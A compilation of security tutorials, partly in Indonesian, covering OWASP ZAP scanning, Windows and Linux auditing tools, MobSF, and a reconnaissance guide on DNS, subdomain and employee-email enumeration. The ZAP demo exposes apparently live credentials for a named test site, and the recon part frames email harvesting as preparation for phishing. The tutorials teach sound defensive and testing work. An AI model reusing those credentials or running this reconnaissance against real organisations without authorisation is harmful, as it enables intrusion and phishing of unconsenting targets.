**This Tutorial Explains What is OWASP ZAP, How does it Work, How to Install and Setup ZAP Proxy. Also Includes Demo of ZAP Authentication & User Management:**

**Why Use ZAP for Pen Testing?**

To develop a secure web application, one must know how they will be attacked. Here, comes the requirement for web app security or Penetration Testing.

For security purposes, companies use paid tools, but OWASP ZAP is a great open-source alternative that makes Penetration Testing easier for testers.

### What Is OWASP ZAP?

Penetration testing helps in finding vulnerabilities before an attacker does. **OSWAP ZAP is an open-source free tool and is used to perform penetration tests.** The main goal of Zap is to allow easy penetration testing to find the vulnerabilities in web applications.

**ZAP advantages:**

* Zap provides cross-platform i.e. it works across all OS (Linux, Mac, Windows)
* Zap is reusable
* Can generate reports
* Ideal for beginners
* Free tool

### How Does ZAP Work?

ZAP creates a[ proxy server ](https://www.softwaretestinghelp.com/best-proxy-server/)and makes the website traffic pass through the server. The use of auto scanners in ZAP helps to intercept the vulnerabilities on the website.

**Refer to this flow chart for a better understanding:**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/img1.png" alt=""><figcaption></figcaption></figure>

#### ZAP Terminologies

**Before configuring ZAP setup, let us understand some ZAP terminologies:**

**#1) Session**: Session simply means to navigate through the website to identify the area of attack. For this purpose, any browser like Mozilla Firefox can be used by changing its proxy settings. Or else we can save zap session as .session and can be reused.

**#2) Context:** It means a web application or a set of URLs together. The context created in the ZAP will attack the specified one and ignore the rest, to avoid too much data.

**#3) Types of ZAP Attacks:** You can generate a vulnerability report using different ZAP attack types by hitting and scanning the URL.

**Active Scan:** We can perform an Active scan using Zap in many ways. The first option is the **Quick Start,** which is present on the welcome page of the ZAP tool. Please refer the below screenshot:

**Quick Start 1**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/quick-start-1.png" alt=""><figcaption></figcaption></figure>

The above screenshot shows the quickest way to get started with ZAP. Enter the URL under the Quick Start tab, press the Attack button, and then progress starts.

Quick Start runs the spider on the specified URL and then runs the active scanner. A spider crawls on all of the pages starting from the specified URL. To be more precise, the Quickstart page is like “point and shoot”.

**Quick Start 2**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/quick-start-2.png" alt=""><figcaption></figcaption></figure>

Here, upon setting the target URL, the attack starts. You can see the Progress status as spidering the URL to discover content. We can manually stop the attack if it is taking too much time.

Another option for the **Active scan** is that we can access the URL in the ZAP proxy browser as Zap will automatically detect it. Upon right-click on the URL -> Active scan will launch. Once the crawl is complete, the active scan will start.

Attack progress will be displayed in the Active scan Tab. and the Spider tab will show the list URL with attack scenarios. Once the Active scan is complete, results will be displayed in the Alerts tab.

Please check the below screenshot of **Active Scan 1** and **Active Scan 2** for clear understanding.

**Active scan 1**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Active-scan1.png" alt=""><figcaption></figcaption></figure>

**Active scan 2**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Active-scan-2.png" alt=""><figcaption></figcaption></figure>

**#4) Spider:** Spider identifies the URL in the website, check for hyperlinks and add it to the list.

**#5) Ajax Spider:** In the case where our application makes heavy use of JavaScript, go for AJAX spider for exploring the app. I will explain the **Ajax spider** in detail in my next tutorial.

**#6) Alerts**: Website vulnerabilities are flagged as high, medium and low alerts.

#### ZAP Installation

Now, we will understand the ZAP installation setup. First, download the [**Zap installer**](https://github.com/zaproxy/zaproxy/wiki/Downloads). As I am using Windows 10, I have downloaded Windows 64 bit installer accordingly.

**Pre-requisites for Zap installation:** Java 7  is required. If you don’t have java installed in your system, get it first. Then we can launch ZAP.

**Setup ZAP Browser**

First, close all active Firefox sessions.

Launch Zap tool >> go to Tools menu >> select options >> select Local Proxy >> there we can see the address as localhost (127.0.0.1) and port as 8080, we can change to other port if it is already using, say I am changing to 8099. Please check the screenshot below:

**Local proxy in Zap 1**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Local-proxy-in-ZAP.png" alt=""><figcaption></figcaption></figure>

Now, open Mozilla Firefox >> select options >> advance tab >> in that select Network >> Connection settings >>select option Manual proxy configuration. Use the same port as in the Zap tool. I have manually changed to 8099 in ZAP and used the same in the Firefox browser. Check below screenshot of the Firefox configuration set up as a proxy browser.

**Firefox proxy setup 1**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/FF-zap-setup.png" alt=""><figcaption></figcaption></figure>

Try to connect your application using your browser. Here, I have tried to connect [Facebook](https://facebook.com/) and it says your connection is not secure. So you need to add an exception, and then confirm Security Exception for navigating to the Facebook page. Please refer the screenshots below:

**Access webpage -proxy browser 1**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Access-webpage-proxybrowser1.png" alt=""><figcaption></figcaption></figure>

**Access webpage -proxy browser 2**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/access-webpage-proxybrowser2.png" alt=""><figcaption></figcaption></figure>

**Access webpage -proxy browser 3**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/acess-webpage-proxy-browser3.png" alt=""><figcaption></figcaption></figure>

At the same time, under the Zap’s sites tab, check the created new session for the Facebook page. When you have successfully connected your application you can see more lines in the history tab of ZAP.

Zap normally provide additional functionality that can be accessed by right-click menus like,

Right-click >> HTML >> active scan, then zap will perform active scan and display results.

If you can’t connect your application using the browser, then check your proxy settings again. You will need to check both browser and ZAP proxy settings.

#### Generating Reports In ZAP

Once the Active scan is done, we can generate reports. For that click OWASP ZAP >> Report >> generate HTML reports >> file path provided >> scan report exported. We need to examine the reports for identifying all possible threats and get them fixed.

### ZAP Authentication, Session And User Management

Let us move on to another Zap feature, handling authentication, session and user management. Please let me know any query that comes into your mind related to this as comments.

**Basic Concepts**

* **Context**: It represents a web application or set of URLs together. For a given Context, new tabs are added to customize and configure the authentication and session management process. The options are available in the session properties dialog .i.e Session properties dialog -> Context -> you can either use the default option or add a new context name.
* **Session Management Method:** There are 2 types of session management methods. Mostly, cookie-based session management is used, associated with the Context.
* **Authentication Method:** There are mainly 3 types of Auth method used by ZAP:
  * **Form-based Authentication method**
  * **Manual Authentication**
  * **HTTP Authentication**
* **User management:** Once the authentication scheme has been configured, a set of users can be defined for each Context. These users are used for various actions (**For Example,** Spider URL/Context as User Y, send all requests as User X). Soon, more actions will be provided that make use of the users.

A “Forced-User” extension is implemented to replace the old authentication extension that was performing re-authentication. A ‘Forced-User’ mode is now available via the toolbar (the same icon as the old authentication extension).

After setting a user as the ‘Forced-User’ for a given context or when it is enabled, every request sent through ZAP is automatically modified so that it is sent for this user. This mode also performs re-authentication automatically (especially in conjunction with the Form-Based Authentication) if there is a lack of authentication, ‘logged out’ is detected.

**Let us see a demo:**

**Step 1:**

First, launch ZAP and access the URL in the proxy browser. Here, I have taken the sample URL as <https://tmf-uat.iptquote.com/login.php>. Click on Advanced -> add Exception -> confirm security exception as in page 6 and 7. Then the landing page gets displayed. At the same time ZAP automatically loads the Webpage under Sites as a new session. Refer to the below image.

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/new-zap-session.png" alt=""><figcaption></figcaption></figure>

**Step 2:**

Include it in a context. This can be done either by including it in a default context or adding it as a new context. Refer to the below image.

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Step2.png" alt=""><figcaption></figcaption></figure>

**Step 3:**

Now, next is the Authentication method. You can see Authentication in that session properties dialog itself. Here we are using the Form-based Auth method.

It should be like authMethodParams as **“*****login Url=<https://tmf-uat.iptquote.com/login.php\\&loginRequestData=username=superadmin\\&password=primo868\\&proceed=login”>***

In our example, we need to set the authentication method as Form-based. For this, select the target URL, login request post data field gets pre-filled, after that, change parameter as username and password -> click o&#x6B;*.*

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Step-3.png" alt=""><figcaption></figcaption></figure>

**Step 4:**

Now, set indicators that will tell ZAP when it is authenticated.

**Logged in and logged out indicators:**

* Only one is necessary
* We can set Regex patterns matched in the response message, need to set either logged in or log out indicator.
* Identify when a response is authenticated or when not.
* **Example for Logged in indicator:** \Qhttp\://example/logout\E or Welcome User.\*
* **Example of the Logged out indicator:** login.jsp or something like that.

Here, in our demo application, I have accessed the URL in a proxy browser. Logged in to the application using a valid credential, Username as superadmin & Password as primo868. Navigate through inner pages and click on logout

You can see in Step 3 screenshot, Zap takes the login request data as one used for the TMF application login \[Demo application login].

Flag logged in Regex pattern from the Response of ZAP as Response -> logged out response -> flag it as logged in the indicator.  **Refer to** **the screenshot below**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Step4.png" alt=""><figcaption></figcaption></figure>

**Step 5:**

We can save the indicator and verify whether session properties dialog gets added with the logged-in indicator or not. Refer to the screenshot below:

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Step5.png" alt=""><figcaption></figcaption></figure>

**Step 6:**

We need to add users, valid and invalid users. Apply spider attacks to both and analyze the results.

**Valid User:**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Step6-user1.png" alt=""><figcaption></figcaption></figure>

**Invalid User:**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/step6-invalid-user.png" alt=""><figcaption></figcaption></figure>

**Step 7:**

By default set the session management as a cookie-based method.

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Step7.png" alt=""><figcaption></figcaption></figure>

**Step 8:**

Spider URL attack is applied to invalid and valid users and review results/generate reports.

**Invalid user spider attack view 1:**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/step-8-invalid-user.png" alt=""><figcaption></figcaption></figure>

Here, a spider URL attack is applied to the invalid user. In the ZAP interface, we can see Get: login.php (error \_message), which means authentication has failed. Also, it doesn’t pass the URLs through inner TMF pages.

**Step 9:**

To apply spider URL attack for the valid user, go to sites list -> attack -> spider URL -> existing valid user -> here it is enabled by default -> start scan.

Analyze results: As it is a valid authenticated user, it will navigate through all inner pages and display authentication status as successful. Refer below screenshot.

**Valid-user**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Step9-valid-user.png" alt=""><figcaption></figcaption></figure>

### ZAP Html Report Sample

Once an active scan is completed, we can generate an HTML report for the same. For this, select Report -> Generate Html Report. I have attached a sample content of HTML reports. Here, high, medium and low alerts reports will be generated.

**Alerts**

<figure><img src="https://www.softwaretestinghelp.com/wp-content/qa/uploads/2019/09/Alerts.png" alt=""><figcaption></figcaption></figure>

### Conclusion

In this tutorial, we have seen what ZAP is, how ZAP works, installation and ZAP proxy setup. Different types of Active scan processes, a demo of ZAP authentication, session and user management, and basic terminologies. In my next tutorial, I will explain about Ajax spider attack, use of fuzzers, Forced browsed sites.


# Windows VA/Audit

Catatan ini ditujukan untuk mempermudah melakukan Vulnerability Scanning (VA) dan Audit pada Operating System (OS) Windows.

![](/files/fL9hkgZxEhbPvnVqTyeL)


# DetExploit

![](/files/YQVVX7Ldjyjm6JQ0ZuxS)

DetExploit adalah pemindai kerentanan untuk platform Windows. DetExploit akan memindai seluruh sistem, dan memeriksa perangkat lunak rentan yang diinstal pada sistem. Dapat juga mendeteksi Pembaruan Windows yang tidak diinstal.

Anda dapat mengunduh Open source tools ini pada link berikut ini:

{% hint style="success" %}
[ttps://github.com/detexploit/DetExploit/releases/download/v1.1/DetExploit\_1.1\_Release.zip](https://github.com/detexploit/DetExploit/releases/download/v1.1/DetExploit_1.1_Release.zip)
{% endhint %}

## Langkah Penggunaan

### Installasi

Buka link yang tercantum diatas atau buka link <https://github.com/detexploit/DetExploit> kemudian pilih panel [release](https://github.com/detexploit/DetExploit/releases).

![](/files/qrKyv0dFlthGPaku06fD)

Download pada file yang ditunjuk berikut ini

![](/files/SBUVP1DCYmKFtYIVlrgd)

Download kemudian Extract.

### Penggunaan

Buka config dan atur tahun data patch keamanan yang hendak diujikan ke Windows yang kita pakai.

![](/files/Dqhj9DLBGqGegkyWRv7U)

Buka folder hasil extract kemudian klik 2x.

![](/files/BqsQOnuQS2CqCtvKWteO)

Tunggu hingga proses download selesai dan proses VA selesai

![](/files/JETkAeraHnomaA6LjW5D)

Laporan akan dimunculkan melalui panel Web Browser

![](/files/Lsg9HyFTI71mtuPyGJbB)


# HardeningKitty

Pada panel ini akan dijelaskan bagaimana menggunakan HadeningKitty untuk tujuan VA/Audit Windows dan Hardening Windows. (Untuk pembahasan ini masih perlu saya lengkapi ya 😁)

HardeningKitty adalah aplikasiyang mendukung (hardening) sistem Windows. Konfigurasi sistem diambil dan dinilai menggunakan daftar yang ditemukan. Selain itu, sistem dapat di-hardening sesuai dengan nilai yang telah ditentukan. HardeningKitty membaca pengaturan dari register dan menggunakan modul lain untuk membaca konfigurasi di luar register.

### Installasi

Anda dapat mengunduh pada link berikut ini

{% hint style="success" %}
<https://github.com/0x6d69636b/windows_hardening/archive/refs/tags/v.0.6.0.zip>
{% endhint %}

Atau menuju <https://github.com/0x6d69636b/windows_hardening> , kemudian download pada source yang ditunjukkan pada gambar.

![](/files/IaY1phLBWMSTQKHNJ9CT)

### Penggunaan

**VA/Audit**

Import module dengan perintah berikut

```
Import-Module .\Invoke-HardeningKitty.ps1
```

Anda dapat melakukan audit sistem dengan perintah berikut

```
Invoke-HardeningKitty -Mode Audit -Log -Report
```

**Backup**

Anda dapat melakukan backup sebelum melakukan hardening

```
Invoke-HardeningKitty -Mode Config -Backup
```

#### Hardening

1. Download CSV file configuration [disini](https://phi.cryptonit.fr/policies_hardening_interface/interface/windows/)
2. Input perintah berikut:<br>

   ```
   Invoke-HardeningKitty -Mode HailMary -FileFindingList <file.csv> 
   ```

\*Langkah detailnya menyusul ya 😅 , saya sudah ngantuk nih hehe 😴


# Tutorial Installasi OWASP ZAP pada Windows OS

Pada tutorial ini ditunjukkan langkah installasi OWASP ZAP pada environment Windows OS.

![](/files/dcZ0Y3LAXFwOtyfbMSsk)

### Requirement

Sebelum Anda menginstallasi ZAP di Windows, unduh dan setup JAVA pada environtment Windows Anda. Berikut link untuk mengunduh Java:

{% hint style="success" %}
<https://www.java.com/en/download/>
{% endhint %}

Pilih tombol Agree and Start Free Download

![](/files/th06dcscDG67LFpFphuA)

Tunggu hingga selesai kemudian lanjutkan download lalu lakukan installasi.

### Download OWASP ZAP

Anda dapat mengunduh ZAP pada link berikut ini:

{% hint style="success" %}
<https://www.zaproxy.org/download/>
{% endhint %}

Pilih Windows Installer

![](/files/AbjhvBPkLZoNwJc70xHN)

### Menginstall OWASP ZAP

Klik 2x pada icon installer ZAP

![](/files/AhO59F3KXhwkTMgNMcB6)

Klik Next hingga Installer selesai

![](/files/KiIkLqNvCDTquiimnnfp)

Anda dapat membuka ZAP melalui Desktop Icon atau Start Menu

![](/files/soWzz5IzGDEJjpSjN7xW)


# Linux VA/Audit dengan Lynis

Lynis adalah aplikasi audit keamanan open-source berbasis host yang dapat mengevaluasi profil keamanan dan postur Linux dan sistem operasi mirip UNIX lainnya. Pada pembahasan ini akan dibahas langkah

1. Download Lynis

```
wget https://downloads.cisofy.com/lynis/lynis-3.0.6.tar.gz
```

![](/files/HIspTDFkUR3LkUNNAO7F)

2\.  Extract File&#x20;

```bash
tar -xf lynis-3.0.6.tar.gz
```

![](/files/Hoo3BPFyLODpCpNZzLNY)

3\.  Terlihat terdapat folder lynis

![](/files/QOprt5r8OfUPM5gbl7cr)

4\.  Masuk ke folder lynis

```
cd lynis
```

![](/files/Ek1xZ83wj2J8wUii5Wu0)

5\.  Menjalankan lynis

```
sudo ./lynis audit system
```

![](/files/4jVZcV2NYYGST2jom6Kn)

6\.  Klik enter untuk mengizinkan lyniz berjalan dengan kemampuan root

![](/files/hkHxPF1eHDox5ArpZaDW)

7\.  Lynis berhasil dijalankan

![](/files/k2qh3YPjL42ggy4LVlhy)


# Mobile Security Framework (MobSF) Windows Docker

MobSF

### 1. Langkah installasi Docker pada Windows

1. Menginstall docker

{% embed url="<https://www.docker.com/products/docker-desktop>" %}

![](/files/93u0AvfNHL9AzxAqKTSE)

2\.  Jalankan file installernya dan jika sudah selesai akan tampil seperti ini

![](/files/FpFDMj5Xu8G7kvhcgsmQ)

3\.  Jalankan Docker Desktop dengan kemampuan administrator, akan tampil seperti ini, kalian bisa skip tutorialnya

![](/files/hEDIhZAeQUJUOBcRXJOq)

4\.  Jika kalian terdapat error WSL, ikuti petunjuk di link ini

{% embed url="<https://docs.microsoft.com/en-us/windows/wsl/install-manual>" %}

5\.  Buka powershell dengan kemampuan adminstrator

```powershell
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
```

&#x20;    Lalu download dan install wsl2 linux kernel:

{% embed url="<https://wslstorestorage.blob.core.windows.net/wslblob/wsl_update_x64.msi>" %}

### 2. Penggunaan MobSF pada Windows

1\.  Buka powershell lagi dengan kemampuan administrator dan install MobSF nya

```powershell
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```

![](/files/ismKdKTDXTEUX5yY09Xy)

2\.  Tunggu sampai memunculkan tampilan seperti ini

![](/files/s1pQhebcN9cXM7nLwnMn)

3\.  Pergi ke browser dan ketikkan 127.0.0.1:8000

![](/files/RTljKEDFOJzQY8fthZg9)

4\.   Download aplikasi yang ingin dites dan upload ke MobSF

{% embed url="<https://apkcombo.com/id>" %}

5\.  MobSF akan otomatis melakukan Analisa statik terhadap aplikasi tersebut, dan berikut contoh hasilnya

![](/files/kGuhRG6c3UJV7kBzx7WA)


# Reconnaissance Techniques

This tutorial is sourced from HackerSploit and is sponsored by Linode.

{% hint style="info" %}
**Caution**

All labs and tests are to be conducted within the parameters outlined within the text. The use of other domains or IP addresses is prohibited.
{% endhint %}

### Before You Begin <a href="#before-you-begin" id="before-you-begin"></a>

In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions:

* Kali Linux
* Parrot OS

The following is a list of recommended technical prerequisites that you will need in order to get the most out of this course:

* Familiarity with Linux system administration.
* Familiarity with Windows.
* Functional knowledge of TCP/IP.
* Familiarity with penetration testing concepts and life-cycle.

Note: The techniques and tools utilized in this document were performed on Kali Linux 2021.2 Virtual Machine

### What is Reconnaissance? <a href="#what-is-reconnaissance" id="what-is-reconnaissance"></a>

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts. – MITRE Website

Reconnaissance is split up into 2 categories based on the type of interaction with the target:

1. Active reconnaissance – Actively engaging/interacting with the target network, hosts, employees etc. (Port scanning, vulnerability scans, web app scanning)
2. Passive reconnaissance – Utilizing publicly available information. (whois, OSINT, DNS, search engine dorks)

A search engine dork refers to search engine syntax which allows users to filter the type of results they get.

The objective of reconnaissance is to gather as much information as possible from the target in order to get a clear picture of the organizational structure, digital infrastructure and employees. This information is then utilized in preparation for initial access/exploitation.

We will be taking a look at the various tools and techniques that can be utilized to perform both passive and active reconnaissance, however, before we begin taking a look at the techniques, we need to get an understanding of the Reconnaissance MITRE ATT\&CK framework tactic and the various techniques that fall under it.

### MITRE ATT\&CK Reconnaissance Techniques <a href="#mitre-attck-reconnaissance-techniques" id="mitre-attck-reconnaissance-techniques"></a>

The techniques outlined under the Reconnaissance tactic provide us with a clear and methodical way of approaching reconnaissance, however, as you may have noticed, some techniques will involve physical reconnaissance of employees and physical addresses. In this case, given the nature of our engagement, we will only be focusing on digital reconnaissance.

<figure><img src="/files/WqbJ3uHS4AqKx4bLqXxH" alt=""><figcaption></figcaption></figure>

The following is a list of key techniques and sub-techniques that we will be exploring:

1. Active Scanning
   * Port Scanning
   * Vulnerability scanning
   * Website Directory brute-force
2. Search Open Technical Databases
   * Search Engines
   * Social Networks
3. Search Open Website/Domains
   * Whois information
   * DNS records
   * Subdomain enumeration
   * Discover web technologies and stacks utilized
   * Identify vulnerabilities
4. Gather Victim Identity Information.
   * Emails
   * Credentials
   * Employee Names
5. Gather Victim Network Information
   * Domain properties
   * DNS
   * Third party domains
   * Network topology
   * IP addresses
   * Security infrastructure

The techniques outlined above will fall under passive or active recon based on the type of information we will be gathering and the nature of our engagement with the target organization’s digital infrastructure.

We will begin the recon process by taking a look at the various techniques and the manual tools that can be utilized to enumerate and scan for information. We will then conclude by exploring various scripts, tools and frameworks that can automate the entire recon process for us.

### Passive Recon Techniques <a href="#passive-recon-techniques" id="passive-recon-techniques"></a>

Passive reconnaissance involves utilizing publicly available information sources like search engines and databases to find and identify information about our target domain or organization.

Additionally, passive recon does not actively engage or interact with the company’s/target’s digital infrastructure, hence the name passive.

#### Gathering Domain IP/DNS Information <a href="#gathering-domain-ipdns-information" id="gathering-domain-ipdns-information"></a>

The first step in this process is to identify the IP address and DNS records of your target domain, this can be done by utilizing the following tools:

1. Host utility
2. Nslookup
3. DNSRecon
4. Dig

**Host utility**

We can use the host utility on Linux/Unix systems to determine the IP address of our target domain, this can be done by running the following command on your Kali Linux VM:

```
host DOMAIN.COM
```

<figure><img src="/files/gXr9fWjI5mJ6wt6QIRfY" alt=""><figcaption></figcaption></figure>

The host utility will output all relevant IPV4 and IPV6 addresses associated with the target domain, as highlighted in the following screenshot.

**Nslookup**

We can use the Nslookup utility to identify the IP address of our target domain, this can be done by running the following command:

```
nslookup DOMAIN.COM
```

The Nslookup utility will output all relevant IPV4 and IPV6 addresses associated with the target domain, as well as the DNS servers utilized for the lookup.

Now that we have been able to identify the IP address of our target domain, we can begin enumerating the DNS information and records of our target domain.

<figure><img src="/files/un39yvBIWdqlIUH54NAC" alt=""><figcaption></figcaption></figure>

**DNSRecon**

DNSRecon is an extremely useful utility that comes pre-packaged with Kali Linux and can be used to enumerate the DNS records for a particular domain, this information can reveal MX (Mail) server addresses as well as other useful DNS records that can expand our knowledge of the targets infrastructure. We can run the DNSRecon utility by running the following command:

```
dnsrecon -d https://DOMAIN.COM
```

The DNSRecon utility should reveal all publicly accessible DNS records for the target domain as highlighted in the following screenshot.

<figure><img src="/files/U0LvPjNz9CzG2rz39Xhj" alt=""><figcaption></figcaption></figure>

From our results, we were able to identify that our target domain is utilizing CloudFlare’s DNS service for their domain. CloudFlare’s DNS service functions slightly differently than your typical DNS service provider as it also provides proxying and other security features that mask the real IP address of the target domain and acts like a web application firewall.

**Dig utility**

We can also utilize the DNS lookup utility dig, to identify the target domain’s IP address and DNS records, this can be done by running the following command:

```
dig DOMAIN.COM
```

This command will reveal important information like the IP address of the target domain and the relevant nameservers as highlighted in the following screenshot.

<figure><img src="/files/ThoVKu5Mfp1nTk0LbHoK" alt=""><figcaption></figcaption></figure>

You can also enumerate all the DNS records for a particular domain with dig. This can be done by running the following command:

```
dig DOMAIN.COM ANY
```

<figure><img src="/files/o4yIacgh3FsOHbYsjVr2" alt=""><figcaption></figcaption></figure>

**WAF (Web Application Firewall) Detection With Wafw00f**

We can identify whether our target domain is currently being protected by a WAF (Web Application Firewall) by utilizing the Wafw00f utility on Kali Linux, this can be done by running the following command:

```
wafw00f https://DOMAIN.COM
```

As you can see in the following screenshot, the target domain is protected by CloudFlare’s WAF.

<figure><img src="/files/xeTatwiIGete4ZWILld0" alt=""><figcaption></figcaption></figure>

#### Gathering Domain/Website Information <a href="#gathering-domainwebsite-information" id="gathering-domainwebsite-information"></a>

Now that we have been able to identify our target’s domain IP addresses, name servers and DNS records, we can begin searching for the following information:

Domain registrar and ownership information. Web technologies and frameworks used on the target website.

**Whois information**

WHOIS is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.

We can utilize the inbuilt whois query utility to identify the target domain’s registrar, ownership and expiry date. This can be done by running the following command:

```
whois DOMAIN.COM
```

<figure><img src="/files/UfbeoHOvVp8OaPcvYoe7" alt=""><figcaption></figcaption></figure>

As highlighted in the preceding screenshot, we were able to identify the domain registrar, registrant and domain expiry date.

This information can give us an idea of how old the domain is, when it expires and could potentially reveal the hosting provider utilized.

**Netcraft Site Report**

We can also utilize the Netcraft site report tool to find out the infrastructure and technologies used by any site using results from internet data mining.

This can be done by accessing the website: <https://sitereport.netcraft.com/> in your browser and typing in the domain of the target as highlighted in the following screenshot.

<figure><img src="/files/MORZrapKAqKltmL3ZcB4" alt=""><figcaption></figcaption></figure>

The results provided by Netcraft are extremely comprehensive and will give you all relevant information pertinent to a website, such as:

* Domain network information
* IP Delegation
* Site technology

<figure><img src="/files/AR3KTLN1xfetDJO5dexF" alt=""><figcaption></figcaption></figure>

As highlighted in the screenshot below, we are able to obtain the target domain’s registrar, registrant, IP address and hosting information.

**DNS Dumpster**

Another great online tool we can use to obtain DNS records, IP addresses and other information pertinent to a target domain is: [https://dnsumpster.com](https://dnsumpster.com/).

This can be done by accessing the website: [https://dnsdumpster.com](https://dnsdumpster.com/) in your browser and typing in the domain of the target as highlighted in the following screenshot.

<figure><img src="/files/bH8r1UGHOId0eHga0VZu" alt=""><figcaption></figcaption></figure>

DNS Dumpster will enumerate all the DNS servers, MX records and hosting records of our target domain as highlighted in the following screenshot.

<figure><img src="/files/x6tLeM9MQ848FQ72dDUY" alt=""><figcaption></figcaption></figure>

**Discovering Web Technologies With WhatWeb**

WhatWeb identifies websites. Its goal is to answer the question, “What is that Website?”. WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistical/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 1800 plugins, each to recognise something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.

We can use WhatWeb to discover what web technologies and HTTP headers the target domain is using. The WhatWeb command line utility comes pre-packaged with Kali Linux and can be utilized by running the following command:

```
whatweb DOMAIN.COM
```

<figure><img src="/files/fKDLYKbuvM2ZXKvw7Zc4" alt=""><figcaption></figcaption></figure>

As shown in the preceding screenshot whatweb enumerates the web technologies, HTTP headers, cookies and CMS’s used on our target domain. This information gives us a better idea of what the target domain is running and how it has been configured. It can also reveal potential vulnerabilities in the hosting stack technologies utilized, for example, we can identify whether the PHP version running on the target domain is vulnerable to any attacks.

**Browser Add-ons**

We can also utilize various browser add-ons and plugins to identify the web technologies used on a target site. The following is a list of add-ons that can be used for web reconnaissance:

* Wappalyzer: <https://wappalyzer.com/>
* BuiltWith: <https://builtwith.com/>

#### Gathering Employee Information <a href="#gathering-employee-information" id="gathering-employee-information"></a>

Now that we have been able to gather the target domain’s IP address, DNS records and information regarding the technologies used by the site, we can begin the process of enumerating the target’s employee information such as:

* Employee emails
* Employee names

This information is important as it gives us an idea of the organizational hierarchy and can be used to stage phishing attacks that can lead to compromise.

**Gathering Employee Emails With theHarvester**

We can identify the employees that work for our target company and their email addresses by utilizing search engine dorks, social networks and public databases. This process can be automated through the use of a tool called “theHarvester”

theHarvester is a very simple to use, yet powerful and effective tool designed to be used in the early stages of a penetration test or red team engagement. It can be used for open source intelligence (OSINT) gathering to help determine a company’s external threat landscape on the internet.

The tool gathers emails, names, subdomains, IPs and URLs using multiple public data sources both actively and passively.

theHarvester comes pre-packaged with Kali Linux and can be used to identify a company’s employees and their respective email addresses by running the following command:

```
theHarvester -d https://domain.com -b google,linkedin,bing,yahoo
```

The following command will search for any information pertinent to the domain you have specified on the data sources provided. In this case, we have specified Google, Bing, Linkedin, and Yahoo as the data sources.

<figure><img src="/files/qIMKaY3YrSWSiJThGjfQ" alt=""><figcaption></figcaption></figure>

As highlighted in the proceeding screenshot, theHarvester will search for any links or associations with individuals, emails, domains and subdomains on the data sources we provided.

You can also utilize search engine dorks with the harvester, this can be done by running the following command:

```
theHarvester -d domain.com -b google -g
```

### Passive Subdomain Enumeration <a href="#passive-subdomain-enumeration" id="passive-subdomain-enumeration"></a>

Another important element of reconnaissance, both passive and active, is the process of identifying company subdomains.

#### Passive Subdomain Enumeration With Sublist3r <a href="#passive-subdomain-enumeration-with-sublist3r" id="passive-subdomain-enumeration-with-sublist3r"></a>

We can enumerate subdomains passively through the use of a utility called Sublist3r.

Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT. It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting. Sublist3r enumerates subdomains using many search engines such as Google, Yahoo, Bing, Baidu and Ask. Sublist3r also enumerates subdomains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster and ReverseDNS.

Sublist3r can be installed on Kali Linux by running the following command:

```
sudo apt-get install Sublist3r -y
```

After you have installed Sublist3r, we can use it to enumerate the subdomains of our target domain by running the following command:

```
sublist3r -d https://DOMAIN.COM
```

Sublist3r will enumerate the subdomains for a specific domain by utilizing various search engines and publicly available databases that store domain and subdomain information as highlighted in the following screenshot.

<figure><img src="/files/39sOcLLZNQfN0jqtTAlz" alt=""><figcaption></figcaption></figure>

In this case, we have identified various subdomains associated with our target domain, you can now repeat the process outlined earlier to identify the IP addresses and DNS records of the subdomains.

#### Subdomain Enumeration With Google Dorks <a href="#subdomain-enumeration-with-google-dorks" id="subdomain-enumeration-with-google-dorks"></a>

In addition to using automated tools like Sublist3r, we can also search for subdomains by leveraging various Google Dorks.

This can be done by specifying the site search filter and excluding the domain of your target. The following search term can be used to identify subdomains that have been indexed by Google:

```
site:*.domain.com -site:www.site.com
```

<figure><img src="/files/Sgqnm9fvlSZzED4GM0rg" alt=""><figcaption></figcaption></figure>

As highlighted in the following screenshot the preceding search term will limit the search results to only the subdomains of the TLD.

Now that we have explored various passive recon techniques and tools, we can begin exploring active recon techniques.

